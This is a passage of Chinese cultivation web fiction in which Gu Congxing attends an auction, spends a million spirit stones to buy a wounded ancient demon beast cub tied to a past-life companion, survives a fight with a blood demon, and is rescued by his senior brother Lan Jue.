尽管心中早有预期,但看到这几字后顾从星还是不由得心绪翻涌,攥握的拳头中渗出血迹。
“……呵呵。”
顾从星心绪起伏之下,不由得气极反笑。
他来到屋外,仰望苍穹,对着天空怒声质问。
“作者,这就是你对笔下人物的判词?!”
什么狗屁判词!什么狗屁人物铭!
既然不一定准确,那就说明这并非宿命!
我去你的宿命难违!
“我们修真者,最擅长的就是逆天改命!”
“你且看着,我定会改掉这该死的命运!让你看看谁才是这身体和灵魂的主人!”
就算此身陨落,就算肝脑涂地,也定会达成所愿——!!
6. 迢迢
中禹洲,罗浮镇。
顾从星与钟冥信步走在街道上,两边商贩叫卖声不绝,各地门派弟子们穿梭于人群之中,入目皆是热闹祥和之景。
钟冥兴奋地左右环顾,很快目光就被一座矗立前方的高塔吸引了。
“师兄,那是什么?”
“千方塔。正是我们此次的目的地。”
千方塔——千方拍卖会之举办地。
罗浮镇虽离青玄剑宗有些距离,不过本地亦有一个名唤“罗浮山庄”的门派庇护。
罗浮山庄之前只是个中型门派,不过这届掌门上任后,利用罗浮镇之便利交通广通商路,更是与号称知晓天下事的情报机构“千燕堂”搭上线,吸引怀有奇珍异宝的人士来到此地,开展一年一度的拍卖会。
不到十年,拍卖会的规格越来越大,甚至还会出现百年难见的珍品,如今已是能吸引五洲人士的大型盛会了。
钟冥脚步轻盈,在路过一个卖糖葫芦的小摊时停下了脚步。
“老板,来两串糖葫芦。”钟冥递出银钱。
“好嘞!”
老板一看眼前两人,眸中闪过一丝惊艳,笑容热切。
接过晶莹剔透的糖葫芦,钟冥笑意盈盈地送到顾从星嘴边。
顾从星本想自己伸手去拿,不料钟冥却耍赖一般往后退了一步,一脸期待地盯着他。
“……”无奈,顾从星只得张唇咬了一口。
酸甜爽口,竟然出乎意料的美味。
看他表情带了几分惊喜,钟冥才像是得逞一般将那串糖葫芦递到顾从星手中,又去吃自己手中的那一串。
恩,与师兄共食美味,好吃加倍。
“师兄,我方才看到好多身穿宗门弟子服的修士,他们也都是来参加拍卖会的吗?”
“应当是,毕竟平日里罗浮镇也不会有如此多的外地宗门弟子。”
虽是位于修真界的城镇,可并非所有居民都天生具有灵根。在平时,罗浮镇中多是凡人与散修,另外便是罗浮山庄的修士了。
两人正随口交谈着,顾从星的脚步却骤然一顿,凌厉目光扫向一旁的窄巷中。
钟冥也停下脚步,压低声音:“怎么了,师兄?”
“我刚刚似乎感受到了一抹妖气。”
顾从星释放出灵力查探,眉头渐渐皱了起来。
“没有了……是错觉吗?”
他思虑片刻,还是收回了灵力,只是将钟冥拉得更近了些。
“这次拍卖会或许会有变故,小师弟,别离我太远。”
“是!”
钟冥扬起一抹笑,紧紧靠在顾从星身边。
***
顾从星与钟冥已至拍卖会雅间,有样貌秀美的小童为他们呈上灵果佳酿,又在他们面前布下珠光卷帘。
此帘上亦附有灵气,雅间内的人看向外界不受遮挡,但其他人却难以窥视雅间内情。
千方塔内部昏暗,唯有塔中央的大型平台之上泛着冰蓝色光芒,四周塔壁上俱是观者所在之处。低层的房间并无卷帘,唯有最高的一层精心装潢后设为雅间。
据说拍卖会结束后不时有杀人夺宝之事发生,为保护买家,千方塔才有此布置。
顾从星一点点敲着桌面,不动声色地释放出灵力。
——并未感受到先前的妖气。
“师兄,这拍卖会正经吗?”
听到钟冥的发问,顾从星不由得轻笑。
“我亦是第一次来,不过毕竟是正道门派所创,应当不会失了分寸。”
“唔……搞这么神神秘秘的,连人脸都看不清,感觉有些奇怪。”
顾从星正欲向钟冥说明,却听一道妩媚动人的声音自下方传来。
“各位客官,久等久等,奴家莲姬这番失礼了~”
众人皆是敛声,目光落在冰蓝平台之上。
一道红色倩影莲步轻移,施施然行到平台正中。她乌发披散,肤白胜雪,一双多情美目眸光潋滟,朱唇扬起一道柔媚笑意。
所有人的目光皆黏在莲姬身上,她的目光扫视一圈,却投向最高层的雅间,正好与顾从星的目光相对。
顾从星有些惊讶,明知她看不到自己,可刚刚的一瞬间却产生了两人对视的错觉。
而且……这女子的修为在自己之上,看来竟是金丹以上的修士了。
修士之等级分为炼气、筑基、金丹、元婴、出窍、分神、大乘、渡劫飞升。
如今修真界已百年未有人飞升,大乘期的皆是些门派老祖,只待机缘之下渡劫飞升。分神期已是名声赫赫的大能,如师尊琢光剑尊。
对于青玄剑宗这等一流门派而言,通常元婴之上方可位列长老之位,但对于如罗浮山庄这般的中型门派,金丹修士便可称为一派长老了。
罗浮山庄竟然如此看重拍卖会,连一名主持的女子都有长老修为?
顾从星盯着莲姬思绪翻飞,全然没注意到身旁的钟冥收敛了笑意,眸光有些阴沉。
“师兄,这灵果味道不错,你尝尝?”他轻呼出一口气,将表情恢复常态。
“哦,多谢。”顾从星接过,收回了视线。
此时莲姬也开始了介绍展品,充满柔情蜜意的声线令诸多修士头脑发热,一掷千金,全场氛围火热。
拍卖会的确是奇珍异宝纷呈,各类灵丹妙药、灵器法宝层出不穷,但对顾从星而言也无甚吸引力。
“接下来的这一件呐,可是个极有趣的宝贝,来自神秘的天启门哦!”
此言一出,会场中泛起交头接耳的喧闹声。
“师兄,何为天启门?”钟冥满脸疑惑。
“天启门是昆仑山上的大型门派。它虽人数不多,却有大乘期老祖坐镇,且所藏秘籍法宝不少,实力非凡。”
顾从星顿了顿,又多补充了些。
“两百年前青玄剑宗弟子与乾阳派、天麟派弟子龃龉横生,险些演变成门派斗争。天启门不忍修真界和平就此被打破,故而居中调解,斡旋三派。”
“最终由一流世家们各派出一人,与天启门两人组成九人戒司,共同评判此事结果,免去了一场战事。自那之后修真界门派间若有争纷,亦会去天启门,由诸派的代表‘九戒’评定。”
钟冥道:“这好像人间的公堂,那九人倒成了判官。”
顾从星颔首:“不错。不过天启门之人不喜露面,甚少参与修真界大型活动。倒是有人将其称为‘一宗两派四世家’之外的‘无冕之王’,不过天启门之人并不愿担上这称号。”
“听起来他们厌烦争端,喜欢低调。估计因之前出面,被当成修真界公堂已经是烦得很了。”钟冥语气促狭。
顾从星笑而不语。
平台上的莲姬待讨论声渐息,捧起储物宝盒,一把揭开幕布。
“秘籍《合虚大荒录》!诸位喜爱藏书的客官,可别错过这天上地下仅有的绝本呐!起拍价五百灵石~”
平台四周的修士们俱是反应平淡,甚至有人失望叹气。
只不过一本书罢了,就算载有历史又有何用?枉他们以为是
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天启门的功法秘诀呢。
顾从星探身细视,确定了这是系统要求的任务。
待有人断断续续报了些数,听到一人喊到八百二十灵石就已无人再竞价,顾从星平静开口:“一千灵石。”
钟冥诧异地与顾从星对视。
先前竞价的人显然将顾从星视作冤大头,不再加价,而莲姬亦是眉开眼笑。
“一千灵石一次,一千灵石两次……”莲姬敲锤,“一千灵石三次!恭喜六号雅间的客人获得《合虚大荒录》!”
【滴!恭喜宿主任务完成!】
【任务奖励核对中……】
【滴!宿主当前救赎度10%,任务积分70分!】
果然,支线任务奖励相比主线任务要少得多。
救赎度竟然只涨了1%,是因为没有直接接触到目标人物吗?
不过顾从星并不觉得气馁,毕竟这任务确实简单,这些奖励也是得来全不费功夫。
“原来师兄喜好古籍?”钟冥好奇发问。
“……恩,有些兴趣。”
系统自然不能说,顾从星随口应了过去,从千方塔小童送来的宝盒中取出这本古籍。
果然是绝本古籍,这书页已经枯黄,若非有灵力相护,恐怕到手时就已经碎了。
顾从星翻了翻,和修真界历史有关,没什么特殊的。
……恩?
他的手在某一页停住了。
这本古籍竟然详细记载了创世神话。先前的神话版本中只粗略提到了五只神兽,而这一卷中具体指出了是哪五只——
凤凰、开明、天狗、鼓、夫褚。
顾从星默读书中所载五大神兽相斗之情景,不知为何,只觉得这神话故事远比自己想象得要生动,颇具吸引力。
钟冥看顾从星读得如此专心致志,也不由得侧近了些,与他一同观看,两人的呼吸在静谧中相融。
直到翻到最后一页,五大神兽皆受到天庭处罚,不仅丧失千年修为还遭到贬黜流放,顾从星心中一阵怅然。
他合书冥想,未发觉钟冥也是皱着眉头,若有所思。
对了,本想着趁这次拍卖会也给钟冥购置一些装备,之前因着妖气与任务一事竟给忘了。
“小师弟,你若有什么想要的,和我说一声,我替你买来。”
钟冥眸子转了转,像是回了神,既而缓缓摇头。
“我自己入门后每月亦有灵石俸禄,师兄不必再为我破费。”
不知为何,他似乎有些不高兴。
顾从星正欲再问,却听到下方传来一阵喧哗声,莲姬亦是发出喝彩。
原来竟已到了压轴展品了。
“各位!终于到了令人激动的压轴秘宝时间!”莲姬扬起双臂,雀跃开口,“诸位猜一猜,今年这宝贝是什么?”
“天级法器?极品灵丹?神秘功法?”
“不!都不是!”
莲姬娇笑几声,挥手让人将一个巨大的笼子推到台上。
众人皆是探出身来,目光如炬。
“本轮压轴宝贝是——上古妖兽幼崽!驰!”
幕布“唰”地揭开,露出了巨型玄铁笼中那鲜血淋漓的妖兽身影。
众人皆是沉寂一瞬,既而惊声大呼!乃至碰翻了桌椅,喧哗一片!
竟是上古妖兽驰!
顾从星本一如常态淡然端坐,然而向笼中撇去一眼,他瞳孔一缩,赫然起身。
为何!会是它?!
——司君剑的伴生妖兽,迢迢?!
7. 燕返(加更)
“上古妖兽驰,虽然众人皆说像银狐,其实奴家却觉得更像银狼呢~”
莲姬绕着囚笼走了几步,细细打量笼中的妖兽。
驰尖长的双耳无力垂下,全身银白的毛皮上尽是血污,唯有尾巴可见洁白原色。即使受伤匍匐,它的身躯亦有两米长,不难想象它若未受伤,身型应是远超乎寻常妖兽。
感受到四周向它射来的目光,驰竟然伸出前爪站了起来,血色妖瞳中闪烁着冷光,呲牙示威。
然而下一瞬,玄铁笼中的阵法启动,一阵雷光倏然劈向驰,噼里啪啦地电击持续不断。
驰发出令人牙酸的痛苦哀嚎,无力倒了下去。
“居然连幼崽都有如此气势……”
“不愧是上古妖兽!”
“没想到罗浮山庄竟有如此本领,还有这种宝贝!”
莲姬笑吟吟地听着众人的惊叹发言,娇声道:
“罗浮山庄可没有本领逮到上古妖兽,哪怕是幼崽也厉害的很呢。这是一位少年英雄所为,我们只是受人所托,给诸位奉上这宝贝罢了。”
顾从星眉头紧蹙,双目中是自己也未察觉的焦急心痛。
没错,这名为驰的妖兽就是上一世,常伴司君剑左右的妖兽迢迢!
自顾从星与司君剑初遇时,他与它便在一处。
那时正是仙门大比,天麟派众人簇拥着那名少年……
他一席麟纹红衣端坐银鬓妖兽之上,乌发高束,下颌微扬,面容骄矜昳丽。垂眸俯瞰九霄云阶时,湛然凤眸中尽是风流意气。
“好一个威风凛凛的少年郎!”身旁人惊呼出声。
当时,顾从星站在一旁,和在场所有人一样被那少年吸引了目光,只觉得摄人心魄。
不知为何,被诸多人环绕的司君剑竟像是有所感应一般,回过了头。
他的目光与顾从星相接,四目相对,两人俱是惊诧,却无人移开目光。
在一片喧闹欢呼之中,无声地遥遥相望——
“迢迢……”
顾从星让自己从回忆中脱离,目光又落到了下方的妖兽上。
在前世与司君剑的相处中,顾从星发现司君剑对这名为“迢迢”的契约妖兽关注非常,远非对待寻常契灵。
经他询问,司君剑说他见到迢迢的第一眼便觉得格外亲切,而迢迢亦是对其他人皆是龇牙咧嘴,唯有在他面前乖巧的不像话。
其实,在他们相处的后期,迢迢在顾从星面前亦是温顺。有时迢迢会释放出原型,顾从星与司君剑便一起靠在迢迢柔软的肚皮上,枕着它蓬松洁白的毛发。
迢迢侧卧着,感受着两人赖在它身上,用毛茸茸的尾巴圈起两人。
司君剑说,他冥冥之中有感觉,迢迢是他的伴生兽。
伴生兽,便是妖兽或灵兽受上一任契约主人所托,为初降人世的婴儿提供守护,并与其以血为契,伴随主人成长。
为了守护主人,伴生兽可付出全部,乃至生命。
“这驰作为上古妖兽,战力自是不必说,若养大了便可对抗元婴修士,甚至是出窍乃至分神期大能。”
莲姬的声音依然轻柔,却带了些低沉。
“若是不想将其养大,这驰也是浑身是宝。其毛皮刀枪不侵,其妖血亦是极品灵丹的原料,其内丹更是无上的宝贝,据说有洗精伐髓之效,可让无灵根者有灵根,多灵根者变为单灵根!”
此言一出,全场皆惊!
要知道,在求仙问道之路上,天赋便是一个巨大的鸿沟。哪怕是日日勤修苦练,天灵地宝不断,但若天赋一般,灵根混杂,那注定飞升无望。
多少修士筹谋数载,杀人夺宝,就只为精炼灵根灵脉,而如今这样的大好机会就近在眼前!
“妖兽驰起拍价,十万灵石!”
随着莲姬的宣言,众人皆是立刻竞价!
十万灵石,已是一个小型门派近一年的收入,然而为了此等珍宝,诸多修士心中只有一个念头:倾家荡产又何妨!
“十一万!”
“十二万。”
“十五万!”
……
竞价声不断,一道清冽的声音自上方传来:“三十万。”
众人皆愤怒地抬头,却难以透过珠光卷帘看到那背后的人物。
可恶,遇到修二代了!
一名修士颤巍巍地加码:“三十一万。”
再多,可就把他家灵库耗空了!
然而此刻另一道有些沙哑的声音掷地有声。
“四十万。”
竟是另一个雅间的人!
顾从星也感到意外,但他立刻迎击:“四十五万。”
那人就在他对面的雅间,平静加价:“五十五万。”
顾从星咧嘴:“七十万。”
此时,已经没有其他修士再参与竞价了。
听着顶层两个雅间的人较量,他们此刻已经明白这场竞价已非寻常修士所能参与。
“八十万。”对面的男子道。
顾从星没想到这面这人竟也这般出手阔绰,估量着自己储物袋中的灵石法器,他继续加价。
“八十五万。”
“八十七万。”
顾从星:“九十万。”
“九十五万。”那人的声音稍显迟疑,却仍是加注。
顾从星此刻却冒出些冷汗,就算顾氏财力颇为雄厚,可他离家时多带的是灵丹法宝,灵石并不多,约是八十万。再加上他这三年在青玄剑宗的月俸与悬赏任务,加起来最多也是九十八万左右。
再竞价下去,恐怕他就得再卖出自己的灵器了。
可对面那人已经不似之前坚定,说明他也快见底了。
“九十六万。”尽管心中思虑,但他的声音依然平静。
“……九十八万。”对方的声音更加迟疑。
顾从星又看一眼伏在牢笼中的迢迢,脑中闪过司君剑抱着迢迢的脖子,一人一兽相伴而眠的情景。
他咬了咬牙,最终斩钉截铁道:“一百万灵石!”
“……”对面的人陷入沉默。
台下发出一片吸气声。
一百万灵石!那可是一个中型门派数年的收入!
就算是那几个鼎鼎大名的宗门世家,要他们一百万灵石也是狠狠咬下一块肉。
不知这雅间中究竟是何人物,竟这般豪横!
“一百万一次!一百万两次……”
莲姬亦是激动万分,她双颊都有些泛红。
“一百万三次!成交!”
“恭喜这位客人,获得上古妖兽幼崽!驰!”
总算是得偿所愿,顾从星松了一口气。
但旋即想到送出去的一百万灵石,不免还是有些肉痛,他露出个苦笑来。
“恭喜师兄。看来这妖兽对师兄而言果真是十分重要。”
一直默默端详着顾从星神色的钟冥轻声道。
“恩,的确如此。”
两人交谈间,千方塔小童已经上前来,恭声道:“这位客官,因此次数额庞大,还请您前往塔顶交易。提供驰的修士亦在那边,希望和您交流一番。”
“当然,若您不愿见,交易完毕便可直接离开。”
顾从星呵呵一笑,应了下来。
自然是要见的。他也很好奇,究竟是哪个家伙抓了迢迢,还将它重伤至此。
***
顾从星与钟冥来到千方塔顶层时,已有两人此处等候。
一名身着青色锦衣的中年男子蓄着羊角胡,一见到他们便笑着起身,引他们至雅座。
“在下罗浮山庄掌门姚天德,两位贵客快请坐。”
另一位玄衣男子并未殷切起身,只是冲两人微微颔首。他面容白净清秀,身量修长,给人以阴柔之感。
待四人坐定,姚掌门介绍:“这位便是提供妖兽驰的英雄。”
“燕无涧。”男子微微一笑,“不知两位是?”
顾从星与钟冥对视一眼,俱是报出了自己的名号。
姚掌门听后笑容越盛,燕无涧则是神情平淡。
“不必多寒暄,本就是一场交易罢了。”顾从星灵秀面容上并无笑意,“我来此只是有事想问问这位燕前辈。”
“哦?顾道友请讲。”燕无涧声音温和。
“你抓捕驰的时候,它是何种状态?身边可有其他修士?”
顾从星并不知晓上一世迢迢与司君剑是何时签订契约的,但若此人是从司君剑身旁将迢迢强行掳来,以那位诛邪剑暴烈性子定是不会善罢甘休。
“我抓捕驰时,它已然受伤了。它被人伤了后一路逃窜至中禹洲与洛西洲交界处,之后便遇上了我。我也未曾见过其他修士。”
燕无涧答着,掏出个白缎折扇来,悠悠然给自己扇风。
“贵客放心,我们先前就已经查探过,这妖兽尚未与人结契。”姚掌门急急补充,似是害怕顾从星误会驰已有契主。
顾从星已然心下明了,便也不再多问。
“我现下身上有九十八万灵石,还有数件法器灵丹,我……”
“师兄莫不是忘了,你还有些灵石在我这里呢。”钟冥轻声打断顾从星,挽起他的手,已是递出两万灵石。
顾从星眨了眨眼,正欲张口却听到小师弟传音入耳:“师兄所给予我的,早已是万两灵石的千百倍。这一次,就让钟冥也为师兄助一臂之力吧。”
“能帮到师兄,便是我最开心的事。”
顾从星凝视面前少年真诚的金色双眸,缓缓点头。
“既如此,这一百万灵石我们千方塔就收下了。”姚掌门接过沉甸甸的灵石,眉开眼笑,又立即让人呈上玄铁笼,解开对驰的束缚。
“为防止它暴起伤主,我们在它身上打了一道雷电烙印,念出口诀便可让它遭受电击。”姚掌门说着,将口诀传与顾从星。
顾从星默然听着,伸手轻抚银白妖兽的脑袋。
驰若有所感,疲惫地睁开双眼,血色瞳孔中倒映出顾从星的面容。
钟冥见状,上前为妖兽施了个治疗口诀,让那些伤口缓缓愈合。
顾从星赞赏地看钟冥一眼,从储物戒中召出一枚金色芥子,将驰吸入其中,转身告辞。钟冥跟在他身后,向两人行礼后转身跟上。
直到确认两人已经远去,姚掌门抚须叹道:“随手一取就是可容纳活物的芥子空间,顾氏果然名不虚传。”
燕无涧摇扇笑道:“可惜了,没坑来一个他的法宝。那小师弟倒是心疼他这师兄得很。”
“那小子也不简单。最后向我们行礼,目光却分明瞟着屏风之后……燕堂主,您这隐匿结界该不会被发现了吧?”
燕无涧“啪”地一声合上折扇,斜睨一眼身后。
“那结界元婴之下不会发现。若非是那卷发小子直觉太灵敏,那便是某人按耐不住了。”
话音刚落,琉璃屏风后平静无波的空气中浮现出波纹,如同在水面中投出一块石子,荡漾的中心处伸出一只修长白皙的手来。
“钟冥此人,直觉确实敏锐。日后不可不防。”
一名金纹玄衣少年迈步而出,如玉面容俊美异常,然而却如覆寒霜,眉眼间皆是一片冷意。
乌发之下,金羽红纹耳饰轻轻摇曳。
若是顾从星在此处,定会惊讶不已——面前的少年,正是话本世界的主角,萧忘忧!
“忘忧,你都坑顾从星一百万灵石了,怎么还是没一点高兴样?”
“不过些许灵石,算得了什么。”萧忘忧抚了下玄铁笼,漆黑双眸凝视着塔外的罗浮山庄。
人声鼎沸,海晏河清。
——并非碧梧岛上的一片荒芜死寂。
“你和他叫价时连我都捏一把汗呢,生怕他最后收手了,白白损失百万灵石。”燕无涧这般说着,语气却悠然轻松,“还好这小子有钱。”
“千燕堂的堂主,会在意百万灵石?”萧忘忧道。
燕无涧听到这话,以折扇掩面,缓缓勾起了唇。
“千燕堂”——五洲中最大的情报机构。其分堂足有
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数百,遍布五洲,搜罗天下秘闻。广大修士打探消息需付出相应的灵石,提供消息便可获得足额报酬。
千燕堂堂主手握最全面的情报网,真实身份却始终隐匿幕后,不为人知。
谁能猜到,这玄衣男子正是诸多人趋之若鹜的千燕堂堂主?
姚掌门不知何时已悄然退了出去,燕无涧来到萧忘忧身后,端详着他的神色。
片刻后,他缓声道:“忘忧,你所图甚大,切记不可妄动。否则……若被察觉,便是功亏一篑。”
“恩,我知晓。”
神色冷酷的少年收回目光,双眸中暗色翻涌。
****
“师弟,为何自出了千方塔你总有些心不在焉?”
顾从星与钟冥并肩而行,少年似乎长高了些,现在已经与顾从星的耳朵平齐了。
钟冥摇摇头:“无事,只是在塔顶时似乎还感受到了其他人的气息,但应是我多心了。”
顾从星细细回想,突然视线中闪过一丝黑影。
那是……
“小师弟,你看那边的糕点铺子,生意这般红火,会不会很好吃?”
顺着顾从星的视线看去,钟冥笑道:“应是不错。我们一起去看看?”
顾从星却摇了摇头。
“我不喜欢和人挤,你去买吧,我就在此处等你。”
“好!我很快就回来!”
鲜少被二师兄拜托的钟冥干劲满满,飞一般跑去铺子。
目送小师弟的身影远去,顾从星面上的笑意冷却下来。他释放出灵力感应四周,飞檐走壁,来到一处偏僻的树林。
果然,那道黑影出现了。
对方浑身裹得严密,在这一片绿影中便是格外浓郁的一道黑。可即使这般,顾从星依然看到了他面罩下的竖瞳。
“妖修……之前我感应到的那抹妖气果然不是幻觉。”
“呵,废话少说。交出妖兽,饶你不死。”
妖修声音嘲哳,祭出两支猩红弯刀。
顾从星面沉如水,召出斩鲸剑,紧盯妖修的一举一动。
原来他的目标是迢迢,同为妖族,此举为何?
“原来妖族如此团结一致,我刚买下它,便有同族急着要将它救回去了。”
顾从星这般说着,观察对面神色。在捕捉到对方眼里的讥讽笑意时,他心中微沉。
看来,这妖修对迢迢是来者不善。既如此,他也失了以迢迢为幌子谈判的可能。
电光火石之间,顾从星已经做出判断,下一瞬,持剑出击!
另一边,钟冥捧着香糯的糕点,兴高采烈。
“师兄!我回来了!”
可待他回到原地,却已不见那抹月白色身影。街道上仍旧人声鼎沸,可在钟冥眼中却是一片空白。
“……师兄?”
他举目四望,想到顾从星那突兀的请求,心中已经明了——原来,师兄是故意把他支开了!
师兄究竟去了哪里?不让他参与,是有什么危险吗?
钟冥心急如焚,突然回想起顾从星释放灵力感应四周的方法。他让自己强行冷静下来,照着记忆中顾从星的方法,以自己为起点向周边释放出灵气。
远处有人在打斗!
——是西边!
钟冥豁然睁眼,御剑疾驰而去。
罗浮山庄西郊荒林中,一黑一白两道影子如闪电般碰撞,灵气与妖气相冲,掀翻数棵桐树。
妖修手持尖刀突刺,血色刀尖割破顾从星的衣角,留下数道血痕。
顾从星移步换形,已是使出流云剑法,一个翻身避开袭来的弯刀,骤然回刺,一击正中妖修腹下!
“噗——!”
那妖修喷出一口鲜血,后撤数步拉开距离,眸光越发阴沉。
“未结金丹竟也能伤了我,你这小子本事不错。”
他低声说着,语气越发激动,甚至还发出几声哼笑。
感受到不同寻常的氛围,顾从星摆出防御剑式,眉头紧蹙。
“可惜啊可惜……”他的声音骤然放大,同时爆发出数道狂笑。
“你今天,必须死在这里了!”
紧紧缠绕的黑色长袍倏然破开,飞出张扬的赤红长发,身型魁梧的妖修露出全貌,赤色竖瞳中闪烁着兴奋的暴虐冷光!
“小子,到了黄泉路上,别忘了杀你的是我血妖崇渊!”
凌厉了数倍的刀光在眨眼间已至身前,顾从星迅速举剑抗击,却被震得浑身发麻!
这妖修,之前隐藏了实力!
崇渊嘴角咧开,毫无保留地释放威压!
——竟是元婴修为!
顾从星心神巨震,凝聚全身灵力对抗强压而下的跨境威压,嘴角却不断涌出鲜血。
糟糕!扛不住了!
护体灵器方圆盾感应到致命危机自动释放,弹出一道金色圆盾,顾从星立即后撤,却眼见血妖举起双臂,不稍片刻就将圆盾劈作两半!
阴冷的尖刀一瞬不停,下一秒已直逼顾从星身前!
“师兄——”
远处传来嘶声呼唤,顾从星心底一片冰凉。
然而就在此时,一道蓝光乍现!
湛蓝剑光轰然而至,直击血妖心脉!
血妖崇渊猝不及防,急速收招后撤,却只见那道剑光紧随其后,他怒骂一声翻身对抗,弯刀与长剑发出轰然铮鸣!
崇渊全力一击退去长剑,却已是气血翻涌,双耳嗡鸣。
“该死的!哪个杂碎敢偷袭老子!”
随着他的叫骂,空气中泛起一阵缥缈白雾,鼻尖所嗅皆是清晨朝露之气息,令狂躁的血气沉静下来。
顾从星心跳如擂鼓,他不可置信地仰头,向空中望去——
梧桐树冠之上,一袭白衣身影卓然而立。
玉冠之下眉眼如画,恍若谪仙降临。
“青玄剑宗琢光峰下大弟子。”
那人手持长剑,秋水明眸中映出血妖惊慌神色。
“兰决。”
8. 幽兰
“师兄!”
身体骤然被拥住,下一刻便是源源不断涌入体内的灵力。
顾从星回头,果然看到了钟冥又急又痛的目光。
“小师弟……”
“师兄别说话了,先疗伤要紧!”
钟冥将顾从星扶稳,顺着筋脉为他传输灵力。他之前修习了木系灵根的疗愈功法,今日终于派上用场。
正在此时,空中数道水流腾空而起,化作利刃直击血妖要害。血妖急忙退后,却未注意到身后已悄无声息地凝出了一道剑光,趁其不备直接刺入他腹中!
“啊啊!!”
崇渊发出一声痛呼,充满杀意的目光环视一圈,又喷出一口鲜血。
“该死的!老子以后必取你们项上人头!”
接二连三受伤的崇渊放出一番狠话,随即飞快地念出一道口诀,身体轰然化作一片血雾。
兰决立即反应过来,掷出长剑,却穿过那片血雾刺在了树上。
“血妖……脱身之法倒是独特。”
兰决神色不变,思忖片刻后召回长剑,眸光看向地面上的两位师弟。
顾从星与他对望,心脏中翻涌着各样的心声,可此刻却相视无言。
师兄,兰决。
太好了,是活着的师兄,是鲜活的师兄。
不是最后那段记忆中苍白憔悴的剑修,而是端方如玉、郎艳独绝的君子剑兰决。
那人依然一副清雅不凡相貌,看向自己时也尚未失去温和笑意。
对,就像现在这般——
“怎么了?莫不是那被那血妖给打傻了?”
修长的手指探过来,轻柔地抚上脸颊。
感受到脸上的温度,顾从星骤然回神。
“不!不是!我没事的,师兄。”
顾从星急忙转头,离开了兰决的指间,耳边泛起些薄红。
可下一瞬,又有一只手覆上唇边,用力揉捻,似是惩戒一般。
“小师弟?!”顾从星惊讶地看向突然动作的钟冥。
钟冥神色不变,甚至嘴角还扬着笑意,可双眸却有些晦暗。
“二师兄唇边有血,我替你擦去。”
兰决盯着钟冥的动作,有些惊讶地眨了眨眼。他观钟冥神色,又看顾从星面容,露出个别有意味的笑容来。
“真是没想到,短短半年不到,二师弟与小师弟的关系竟如此亲密了。”
这话听着十分古怪,顾从星刚想张口反驳,却被钟冥拉住了手腕。
钟冥适时地仰头,露出惯常的羞涩笑意:“大师兄,许久未见。”
兰决微笑颔首。
顾从星被钟冥搀扶着站起,问道:“之前我听闻师兄前去东莱洲边境解决尸蛊一事,此行可还顺利?”
“不错。如今尸蛊已除,只需和师尊与掌门汇报详情。”兰决此时已经全然不见方才对战时的肃然杀气,气质清冽,声音柔和。
其实,这个问题在出口之前,顾从星心中就已经有了答案。
毕竟大师兄兰决,可是当今修真界年轻一辈的领头人物。
年幼时在人间就有神童之名,因绝佳的天赋与悟性而被琢光剑尊收为首徒,入宗后亦是修炼进度神速,不及弱冠便结成金丹,如今已是金丹大圆满,力压其他世家与门派的同辈修士。
兰决不同于顾从星与钟冥,尚不足十岁便被琢光剑尊带在身边,故而教导时间也是最长,颇得师尊真传。
虽然看着是个温良无害的翩翩公子,但众人皆知,此人战力超群,跨境对战更是无一败绩——就如刚刚对上元婴期妖修。
“大师兄要向师尊汇报?莫非师尊已经出关?”钟冥问道。
顾从星的心跳猛地慌乱起来。
兰决拍拍钟冥的脑袋,似乎颇为欣慰。
“不错,师尊此番给我传讯称不日便会出关。小师弟短短时日就已筑基,师尊见了一定会很高兴。”
“我们这便启程回宗吧。”
***
自回宗后,顾从星便将妖兽幼崽释出,养在自己别院的后山之中。
经过小师弟多次的治疗,如今的驰已是油光水滑、步伐矫健,显然是已经大好了。
顾从星看着它柔顺的银色毛发,总是耐不住伸手去摸,可伤好后的驰却总是低吼呲牙,不愿与人亲近。
“哎,你这妖兽可是师兄花了百万灵石才救回来的,怎么还凶他?”
钟冥蹲在驰面前,不同于柔软的语气,眼中尽是冰冷嫌恶。
可转头对顾从星时他却如同变脸戏法一般,露出可怜巴巴的模样。
“师兄,你最近几日陪我练剑的次数少了很多。”
“哦……你这么一说,的确是我疏忽了。”顾从星垂眸道,“明日起我们便同以往一般对练。”
顾从星知晓小师弟不喜这妖兽幼崽,不过他近日有些心不在焉,其实也不能全赖在驰身上。
他近日总是想到师尊。
念及师尊即将出关,顾从星甚至会忍不住地浑身战栗。
在上一世,他甚至连师尊的尸首都未曾得见,之后踏上不归路乃至遭到围剿而亡,也未能亲眼看到师尊复活之景。
如今要面对活生生的师尊,他竟生出了些近乡情怯之感。
——想靠近,又想逃离。
“师兄,你是在想与这妖兽结契的事吗?”
见顾从星又在出神,钟冥轻声发问。
就连缩成一团假寐的驰也悄然睁开一只眼,红色的兽瞳望向顾从星。
“……不,我不会与它结契。”
“为何?!”
钟冥惊讶不已,连驰也“唰”地站起身,往前踱了两步。
顾从星平静地与驰对视,声音缓缓:“我听闻,上古妖兽若修为高深,便可隐匿自身灵契,甚至完全抹去契约痕迹,以免在遭受危机时连累契主。只是通常而言契主的修为远超于妖兽,此类情况便很少发生。”
不过,伴生兽是成熟的妖兽与新生婴儿立下契约,自然是修为甚于其主人。
“可是,即使外界探不出契约痕迹,这种源自血液的灵契也不会消失,不是么?”
“!吼——”
闻言驰一改慵懒随意常态,怒目圆睁,长啸一声,周身妖力涌动——
“不必担心,我会放你回到你主人身边。”
一句淡漠的话打断了驰的施法,将它砸得愣在原地。
“师兄?你?!”
钟冥压抑不住惊疑出声:“你耗费百万灵石,又与血妖缠斗险些丧命,竟只是为了还它自由?”
这实在是有些荒谬。
“它既有归宿,又何必强留在此?”
听到这反问,钟冥陷入了片刻的沉默。
“……师兄,难道你从一开始就知道他有主人这件事吗?”钟冥看向顾从星,不知为何语气有些急切,“莫非你是为了它的主人才会如此?”
顾从星一时哑然。
不得不说,有时候小师弟的直觉真是异常敏锐。
此刻本应立即否认,毕竟按照这一世的时间线,他与司君剑此时还并未相识。可也许是上一世说得谎言太多,也许是面前小师弟的神情太过恳切,顾从星沉默片刻,终究是点头应下。
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“是谁?”
钟冥跨步走到顾从星面前,极近距离下直视师兄的双眸,不愿错过他脸上任何神色变化。
但顾从星依旧是一副无悲无喜面容,只是轻声道:
“一位故人罢了。”
他揉了揉钟冥的脑袋,那少年便登时收敛了气势,蹭到他身边。
“此妖兽就当是我还他的。从此以后,我与他不会再有什么瓜葛。”
没错,在这一世,他与司君剑不会再有交集。
前一世的恩怨纠葛太多,也曾有过温存的时光,可终究未有心意相通之时,还落得个拔剑相向的下场。
孰对孰错,又有谁能说清?
顾从星想,在他死后,那位诛邪剑应会回归原本风光无限的生活,或许会因披露他这魔头修习禁术之事而被世人夸赞,或许会因亲手斩断尘缘而得道飞升……
